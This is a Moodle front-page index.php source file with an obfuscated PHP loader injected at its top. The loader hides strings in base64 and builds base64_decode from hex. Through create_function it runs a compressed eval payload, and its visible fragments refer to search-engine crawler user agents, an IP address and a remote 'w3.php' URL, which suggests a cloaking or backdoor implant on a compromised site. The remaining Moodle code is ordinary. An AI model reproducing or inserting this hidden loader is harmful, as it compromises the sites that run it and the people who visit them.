php /*versio:3.03*/ $GLOBALS["cutMixDDataLPrevE"]="YWLaW5pX3NldAmdOYWxsb3dfdXJsX2ZvcGVuqtMZGlzcGxheV9lcnJvcnMCZ2V0YWxsaGVhZGVycwYOZIQSFRUUF8LSCc3R5eC9leHAwNTE3TWIckMy4wMwxiwmb29Cb29qYWk3U2lhY2hlaXNlMXN1N3BodQHaaHR0cDovLwSFRUUFMYMXNb2ZmBgtaHR0cHM6Ly8SFRUUF9IT1NUiNuvdW5pb24dYbNc2VsZWN0dUkVRVUVTVF9VUkkSkUXlCU0NSSVBUX05BTUUWcKFRUVVFUllfU1RSSU5HfCPwDtZGV0ZXJtaW5hdG9yhrWLgLpgLmxvZwQyYmFzZTY0X2RlY29kZQEPcmWV9BVVRIkKParNRVhFQ1BIUAjIVKxdmVyc2lvJkQNbLQHSJLXBocAuUCwY3JlYXRlX2Z1bmN0aW9ufTsUZVwLy8fb3V0lwEMb2sSFRUUF9VU0VSX0FHRU5UfgSIDqLAWnZdZ29vZ2xlLHlhaG9vLGJhaWR1LGJpbmdib3QsbXNuYm90LHlhbmRleADwGpYQOsZODkuMzIuMTUwLjE2NAsrPoTZmFzdGFkZHouY29toncPL3czLnBocD91PQBfnkPoJms9EJnQ9cGhwJnA9pnbJnY9aLZFZXZhbChnenVuY29tcHJlc3MoYmFzZTY0X2RlY29kZSgiZUp5VldQOXZtOGdTLzFjSWlpb1FGTFBBNG5YOS9KUTQ1MTdSYTBNd3p1bE91UWo1N0hXRGlvMkY4U1duS3YvN205bGQ3RGdoVHU2WEZ1L096dmY1ekV6eWhXYWN6UGtpWC9HNW9jOTV6YXRsdnByV1phV2I1azh0aCt2RmRqV3I4M0tWOFlkOFUyK01lWm5XMDZvZWZjc2ZQbGZUSmYvZDhDeGlFOWZFQjJmNUtzODJ2RzZoSXI3bDI1NXIyaG94KzhjSXZkQWl2azE2UU9rQzVhUFdhS0Jsa1VzakVsRjNtTExDT0MwWWN3dlgxRkRQZDZoSkdlckpRRS90TkMyQUU5VUcybmRlVDR2aWprL252Tm9ZSUk0WEd3NGM5eFNuV1RvYS96WWE5elVsRU01YXJBdXNrTmxkMDFGRXFIZkY2MjIxMHM0VXJ4dDFkWHRvVXp3a2NjSmlSbE9hR3FkSlFxTGgwTlkrbkNaRGxneGpFSFo1L2ZVckdyay9XZWF6cXF6ekpUZnFhc3RCYVNWcHdjdEZ3K0taNTRZMFlveEVLZndEVW1KR2lKdllZS1hMWEhDSnNEY2xVUUhNOWRtMktuU3dOb3JBMHloTzNUbDZCa0dyNFFyVFFnUVF2R2ZvNEwveVBvTkgyYUpjODVWdWFnUGdRblRVdVhIQklpODRVbWV6Y2xYekZjUkh2NnZyOWFkT1I5Y2NUZW1EWDFJaFI5TS8zQThXMzJlNk1BTmowcGFLU2tWVDZFOFpqUmxvZTZaT01aakFtTVlrUGJBQmtxNWMxOEpBNGc3cG9ZSDhnYy9nNmt3OU5CUmJXN3U0SG4rTnJ5WVovR2RyNzlCOXRrWFZYK2Z6WlhUK3kyaHNhNHNwMkhhVWNqeWFYSTh2SitQenkvUXp2bEFoZi8zQlJYeDVPYnFZVEtKdm8vaDZZbXVoY0VTY1JBV1Y3aEZtTisrUUZVWThteFhsaGo4NVJZZno1YnIreDFDUHdjMTdOcnJlM3lXNE9tMGlKVkpWNUNDS1cyeksyUS9NaTMzV01kY1c4UnF5R0Q2aW9xQU0xS2RLWnBPL3lDYW1VQnhNaXRNT0t3TFVYcXkzbUFSTnllaS9qaWJhVHhXRlI5M0JNR3grYUY4bWs2c09jVnc0K0xQNmN3WC9mU2szOVNjTlBuNHFsUjdGQmJwcENJWWtLT0xxeTFVV3A0N2UwUjM4aFBwUG8vaXlSZWoxaGxjZno3OURUbjhDNGZLOTROZnd2TCtEM0RkT1hxbHpaWlNwZmZpZ0djL3FXdnU0di82UDVwbDdoempvV0Npbko0b1FqNGxhT1Z1b1FPNWc0SFFZUStFamJQR0hkVkhPdWFIdjlMTWJsa0MzWFNFZUsrb2I5M2FQSy9teTVaMmtFeklmRDZHbUtHSlN1SWpWUXdoNkVWT1hvSndoV0orQUVYeDJWMnI2SDVudXFFdEgvNFRmNGw0RjZSbEVSZ1ViSm5FYXh5NEJqZ1FjV1poN2NHa1Era1pkQ1lDRjd5Uktrc0ZMcUdhaEZkcEVWa1hLVWhLMzBJUTlLd2hzUVJOQmhxUnVDdzJsQ1BsK0lIRUc4NmhOR0xHNkRMdWpUTzU4STN6Y0tQeVN2dWRaM1M3MGtkdW0vWjRkSVNZQnNUenNPcmVZUHNjb1BkY2lRVTlRbnJTMUwrcGJ4T3ZhZ1lEU1Y0MGhYV2oxMUNaRVJWMVJPb05OWGRVbGRBRmVIZFVYUEUrSVp4UFB4T1JhbEJXZnp1Nmc0ak9zM09sR1Uva3crTzgrV2RBRndIMWRRcXJMUTdzbFdnR281WUoxQ0ZISTdFWnh1bTB6SWd3dHlteUl5TDZ4dkNtQjlJamxCelo3bndTdzAxY1NIbkUyT1hrejdBU1NxZHV6Q2NYQUkvSWRDN3JsZWE0Z0ZYQitKSmVvUlVKSmlkbjNkdko1SWFZQjFzYWJXdmllNWJtZTFNSnBIWWhjQ0RicjJwNEpyZkZvYW9iTTZncVovZWRBUWtsRTRwZ1cwTkFOaVg1cFBLU0RlVjZ0NEttUlpaK2pyNk1zTTUxZm9qRjB2SGo4QjRpNU9oK2Z3eWZpWGxvVUxqYi84NnFhL21Ob2VtZk8vKzVzN3BZQVgzcW5YcTQ3emdMR2tZL2JWZjZ3UDRvdVJzM0pYbTE5OHUxS3Z6MDhHZTJPUnBlL1BhVm9mb0pXQnlmcWdaQ0QzSGNUMUJiZ2RUclA0RGdEMjNUVGJreDFkRW02KzNtLy9xZ21xSTU4dEhubGRnYVZ4ZUh1b002VVE3RFNvRjlUUmxTQm5hZytydzdSMWZMVEdiUjZWczUvbSt5K3l1dnBYOURkbnI2VXl1QlVKUS83Mmw4Zy8wZlRKM1l6Z3lEcml3SVJCVmpzUndSc2R3Q1pQelc1bWJUdENFRmdVUit6cGxrU21sSStqWk9VeFdUUVlOTlIvSVRVQzBOWmRXZ3p6akh4NEd3NXA0MG1qcG9EVktkd1ZEY1FYWlVrOFRBYVBNdFNwdzBPQUh6OUVDckJVU0w2cnhzR0tHeVJyaXN0VXpKRWc2RUpHSVplbFdjdGNqd1hZSkIwWmRkS1hTQ1BXdUhQOG5HOVlvS0tNV2pUd0ZXTW9TcXdoMXRXUytrSEFLQUloWU9Cc2tmTTN3MHJKZnB0UGg0aUJPM0oxWEUzUEQ3QnFZczQvbDgwdWxGQ0ZDUzlsUE9Tc0kzWlZaeE8zc0hxa0V5bXA2RW84WkVjWHRTTWNqanF0SGlxQjAyRGdLdnNadFJvU3cvWWkyRWl4dXlRSTBzTGpSKzQyTE5DOUJQL2UxcnNOT3IvTzRVQzRscGVEOXE4M1lMWVhrQUZwdnRDeWtOZUc3S3l3RHR1UkhFMS9DeXo1RFNKWVdZWHk4UTdHejhKb1YzQWtBL3IvMEhuYndiU0ZvdTd4Q0l1QmJlMHFSckFmQVpKVEdGZUVXaVdRUCtNeUxOeFFXcHA3MjVQQmdOaGdBQXBtTU5aSlBZVHVadThXbFhNdHp3ZlhkK21odzloSVJnN3VUdUE0NFZYdGdobU16VHNhT09ENFEwcmtRcWZuQzBRVGJtaFZJTTlEL2NBRStiaEdvWmphWUw2SVFYQkQ3RmY3QVorK1ZBV1B3WnNNSUVsNGdCOUc5ekdiYnd4V2Z6VnBpNjNzenRqRHpmUW1tYkZkczZ6Y2pYalQ4NmZ3R3lURkxEcm94eUZueEZOZHYyMkxhaFE4V0VQd2FjMXFxeHJNWUxRcDZibFozcUp3RWwwZitKaWRTVHR4dFd2OWU4elhvOUI1Z091QmxobjRrVWJoSFlEeTRjNUw5aEJkU3NSUUtqZnhUSDJTTWtHM1o0WXVZVThVZnU0UzhCNG1XS0tQUHQ3alBRYzdGejdQOG4wWDBaRk5sQzFZci9hUVh4SXF6Q1VEVVFONnY4SHBDSzlDdz09IikpKTsq"; if (!function_exists('doStartEMixFrameX')){function doStartEMixFrameX($a, $b){$c=$GLOBALS['cutMixDDataLPrevE'];$d=pack('H*','6261736'.'536345f6465636f6465'); return $d(substr($c, $a, $b));};$tryGetICacheCacheCall=doStartEMixFrameX(408,20);$tryGetICacheCacheCall("", doStartEMixFrameX(428, 3).doStartEMixFrameX(636,3507).doStartEMixFrameX(435, 3));};?>php // $Id: index.php,v 1.201.2.11 2011/01/12 09:57:31 moodlerobot Exp $ // index.php - the front page. /////////////////////////////////////////////////////////////////////////// // // // NOTICE OF COPYRIGHT // // // // Moodle - Modular Object-Oriented Dynamic Learning Environment // // http://moodle.org // // // // Copyright (C) 1999 onwards Martin Dougiamas http://moodle.com // // // // This program is free software; you can redistribute it and/or modify // // it under the terms of the GNU General Public License as published by // // the Free Software Foundation; either version 2 of the License, or // // (at your option) any later version. // // // // This program is distributed in the hope that it will be useful, // // but WITHOUT ANY WARRANTY; without even the implied warranty of // // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // // GNU General Public License for more details: // // // // http://www.gnu.org/copyleft/gpl.html // // // /////////////////////////////////////////////////////////////////////////// if (!file_exists('./config.php')) { header('Location: install.php'); die; } require_once('config.php'); require_once($CFG->dirroot .'/course/lib.php'); require_once($CFG->dirroot .'/lib/blocklib.php'); if (empty($SITE)) { redirect($CFG->wwwroot .'/'. $CFG->admin .'/index.php'); } // Bounds for block widths // more flexible for theme designers taken from theme config.php $lmin = (empty($THEME->block_l_min_width)) ? 100 : $THEME->block_l_min_width; $lmax = (empty($THEME->block_l_max_width)) ? 210 : $THEME->block_l_max_width; $rmin = (empty($THEME->block_r_min_width)) ? 100 : $THEME->block_r_min_width; $rmax = (empty($THEME->block_r_max_width)) ? 210 : $THEME->block_r_max_width; define('BLOCK_L_MIN_WIDTH', $lmin); define('BLOCK_L_MAX_WIDTH', $lmax); define('BLOCK_R_MIN_WIDTH', $rmin); define('BLOCK_R_MAX_WIDTH', $rmax); // check if major upgrade needed - also present in login/index.php if ((int)$CFG->version < 2006101100) { //1.7 or older @require_logout(); redirect("$CFG->wwwroot/$CFG->admin/"); } // Trigger 1.9 accesslib upgrade? if ((int)$CFG->version < 2007092000 && isset($USER->id) && is_siteadmin($USER->id)) { // this test is expensive, but is only triggered during the upgrade redirect("$CFG->wwwroot/$CFG->admin/"); } if ($CFG->forcelogin) { require_login(); } else { user_accesstime_log(); } if ($CFG->rolesactive) { // if already using roles system if (has_capability('moodle/site:config', get_context_instance(CONTEXT_SYSTEM))) { if (moodle_needs_upgrading()) { redirect($CFG->wwwroot .'/'. $CFG->admin .'/index.php'); } } else if (!empty($CFG->mymoodleredirect)) { // Redirect logged-in users to My Moodle overview if required if (isloggedin() && $USER->username != 'guest') { redirect($CFG->wwwroot .'/my/index.php'); } } } else { // if upgrading from 1.6 or below if (isadmin() && moodle_needs_upgrading()) { redirect($CFG->wwwroot .'/'. $CFG->admin .'/index.php'); } } if (get_moodle_cookie() == '') { set_moodle_cookie('nobody'); // To help search for cookies on login page } if (!empty($USER->id)) { add_to_log(SITEID, 'course', 'view', 'view.php?id='.SITEID, SITEID); } if (empty($CFG->langmenu)) { $langmenu = ''; } else { $currlang = current_language(); $langs = get_list_of_languages(); $langlabel = get_accesshide(get_string('language')); $langmenu = popup_form($CFG->wwwroot .'/index.php?lang=', $langs, 'chooselang', $currlang, '', '', '', true, 'self', $langlabel); } $PAGE = page_create_object(PAGE_COURSE_VIEW, SITEID); $pageblocks = blocks_setup($PAGE); $editing = $PAGE->user_is_editing(); $preferred_width_left = bounded_number(BLOCK_L_MIN_WIDTH, blocks_preferred_width($pageblocks[BLOCK_POS_LEFT]), BLOCK_L_MAX_WIDTH); $preferred_width_right = bounded_number(BLOCK_R_MIN_WIDTH, blocks_preferred_width($pageblocks[BLOCK_POS_RIGHT]), BLOCK_R_MAX_WIDTH); print_header($SITE->fullname, $SITE->fullname, 'home', '', '', true, '', user_login_string($SITE).$langmenu); ?>
'; print_container_start(); blocks_print_group($PAGE, $pageblocks, BLOCK_POS_LEFT); print_container_end(); echo ' | '; } break; case 'middle': echo ''. skip_main_destination();
print_container_start();
/// Print Section
if ($SITE->numsections > 0) {
if (!$section = get_record('course_sections', 'course', $SITE->id, 'section', 1)) {
delete_records('course_sections', 'course', $SITE->id, 'section', 1); // Just in case
$section->course = $SITE->id;
$section->section = 1;
$section->summary = '';
$section->sequence = '';
$section->visible = 1;
$section->id = insert_record('course_sections', $section);
}
if (!empty($section->sequence) or !empty($section->summary) or $editing) {
print_box_start('generalbox sitetopic');
/// If currently moving a file then show the current clipboard
if (ismoving($SITE->id)) {
$stractivityclipboard = strip_tags(get_string('activityclipboard', '', addslashes($USER->activitycopyname)));
echo ' '; echo "$stractivityclipboard (sesskey\">". get_string('cancel') .')'; echo ' '; } $options = NULL; $options->noclean = true; echo format_text($section->summary, FORMAT_HTML, $options); if ($editing) { $streditsummary = get_string('editsummary'); echo "id\">"; } get_all_mods($SITE->id, $mods, $modnames, $modnamesplural, $modnamesused); print_section($SITE, $section, $mods, $modnamesused, true); if ($editing) { print_section_add_menus($SITE, $section->section, $modnames); } print_box_end(); } } if (isloggedin() and !isguest() and isset($CFG->frontpageloggedin)) { $frontpagelayout = $CFG->frontpageloggedin; } else { $frontpagelayout = $CFG->frontpage; } foreach (explode(',',$frontpagelayout) as $v) { switch ($v) { /// Display the main part of the front page. case FRONTPAGENEWS: if ($SITE->newsitems) { // Print forums only when needed require_once($CFG->dirroot .'/mod/forum/lib.php'); if (! $newsforum = forum_get_course_forum($SITE->id, 'news')) { error('Could not find or create a main news forum for the site'); } if (!empty($USER->id)) { $SESSION->fromdiscussion = $CFG->wwwroot; $subtext = ''; if (forum_is_subscribed($USER->id, $newsforum)) { if (!forum_is_forcesubscribed($newsforum)) { $subtext = get_string('unsubscribe', 'forum'); } } else { $subtext = get_string('subscribe', 'forum'); } print_heading_block($newsforum->name); echo ''; } else { print_heading_block($newsforum->name); } forum_print_latest_discussions($SITE, $newsforum, $SITE->newsitems, 'plain', 'p.modified DESC'); } break; case FRONTPAGECOURSELIST: if (isloggedin() and !has_capability('moodle/site:config', get_context_instance(CONTEXT_SYSTEM)) and !isguest() and empty($CFG->disablemycourses)) { print_heading_block(get_string('mycourses')); print_my_moodle(); } else if ((!has_capability('moodle/site:config', get_context_instance(CONTEXT_SYSTEM)) and !isguest()) or (count_records('course') <= FRONTPAGECOURSELIMIT)) { // admin should not see list of courses when there are too many of them print_heading_block(get_string('availablecourses')); print_courses(0); } break; case FRONTPAGECATEGORYNAMES: print_heading_block(get_string('categories')); print_box_start('generalbox categorybox'); print_whole_category_list(NULL, NULL, NULL, -1, false); print_box_end(); print_course_search('', false, 'short'); break; case FRONTPAGECATEGORYCOMBO: print_heading_block(get_string('categories')); print_box_start('generalbox categorybox'); print_whole_category_list(NULL, NULL, NULL, -1, true); print_box_end(); print_course_search('', false, 'short'); break; case FRONTPAGETOPICONLY: // Do nothing!! :-) break; } echo ' '; } print_container_end(); echo ' | ';
break;
case 'right':
// The right column
if (blocks_have_content($pageblocks, BLOCK_POS_RIGHT) || $editing || $PAGE->user_allowed_editing()) {
echo '';
print_container_start();
if ($PAGE->user_allowed_editing()) {
echo ' '.update_course_icon($SITE->id).' ';
echo ''; } blocks_print_group($PAGE, $pageblocks, BLOCK_POS_RIGHT); print_container_end(); echo ' | ';
}
break;
}
}
?>